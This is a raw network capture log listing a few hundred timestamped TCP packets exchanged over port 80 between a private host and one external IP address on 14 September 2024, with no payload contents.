Sep 14, 2024 18:44:11.531337976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.531497955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572077990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572185040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572206020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.572236061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572268963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572288036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.572300911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572349072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572386026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572398901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.572418928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572441101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.572451115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572488070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.572539091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573195934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573230982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573261976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573312998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573348045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573365927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573379993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573410988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573447943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573463917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573481083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573494911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573513031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573544979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573575020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573587894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573611021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573647022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573662996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573698997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573744059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573780060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573810101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573810101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573829889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573873997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573879004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.573906898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573956966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.573990107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574006081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574026108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574059010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574105024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574105024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574107885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574145079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574196100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574198008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574229956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574260950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574282885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574292898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574327946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574350119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574362040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574393988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574438095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574440956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574474096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574515104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574532032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574548960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574583054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574610949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574620008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574630976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574656010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574688911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574704885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574721098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574753046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574769020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574791908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574825048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574856997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574872971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574888945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574922085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574934959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.574955940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.574965000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575025082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575076103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575226068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575258017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575290918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575325012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575328112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575361967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575398922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575416088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575448990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575480938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575517893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575526953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575550079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575560093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575583935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575617075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575635910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575649977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575697899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575737953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575767994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575782061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575896978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575947046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.575953960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.575979948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576015949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576034069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.576047897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576081038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576098919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.576112986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576145887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576178074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.576184034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576220036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576261044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.576271057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576312065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576325893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.576347113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576380014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576415062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576417923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.576471090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576503038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576514006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.576535940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576560974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.576567888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.576653957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.617326975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.617367029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.617435932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.617470980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.617481947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.617503881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.617532015 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.617537022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.617572069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.617594004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.619040012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619108915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.619112968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619148016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619204998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.619236946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619270086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619302034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619328022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.619337082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619431019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.619590044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619642973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619676113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619724989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.619784117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619817019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619843006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.619862080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619895935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.619960070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.660774946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.660810947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.660845995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.660881996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.660895109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.660927057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.660948038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.660964012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.660986900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661012888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661046028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661056995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661077976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661109924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661123037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661161900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661199093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661233902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661247969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661293983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661330938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661345005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661375999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661384106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661416054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661447048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661463022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661480904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661516905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661550045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661561012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661601067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661633015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661648035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661664009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661679983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661700010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661732912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661766052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661782026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661802053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661804914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661834955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661864996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661880970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661897898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661931038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661946058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.661963940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.661995888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662031889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662041903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662066936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662097931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662117004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662130117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662142038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662163973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662194967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662206888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662230968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662266016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662307978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662393093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662424088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662456989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662472963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662492990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662503004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662527084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662559032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662591934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662595034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662630081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662643909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662678003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662708998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662740946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662772894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662806034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662806988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662830114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662841082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662853003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662873030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662904978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662923098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.662938118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.662976027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663009882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663022041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663038969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663081884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663147926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663180113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663203955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663212061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663244009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663260937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663276911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663307905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663324118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663341045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663377047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663405895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663454056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663502932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663536072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663542032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663564920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663579941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663597107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663629055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663661003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663678885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663692951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663696051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663728952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663780928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663789988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663815975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663846970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663860083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663885117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663928032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663959026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.663976908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.663990974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664000988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.664021969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664055109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664072990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.664088011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664119005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664155960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664171934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.664187908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664196968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.664222956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664256096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.664269924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.705861092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.705945015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.705952883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.705979109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.706012011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.706027031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.706067085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.706099987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.706115007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.706135035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.706227064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.707657099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.707710028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.707742929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.707761049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.707818031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.707850933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.707876921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.707885027 CEST	80	49722	188.114.97.3	192.168.2.6
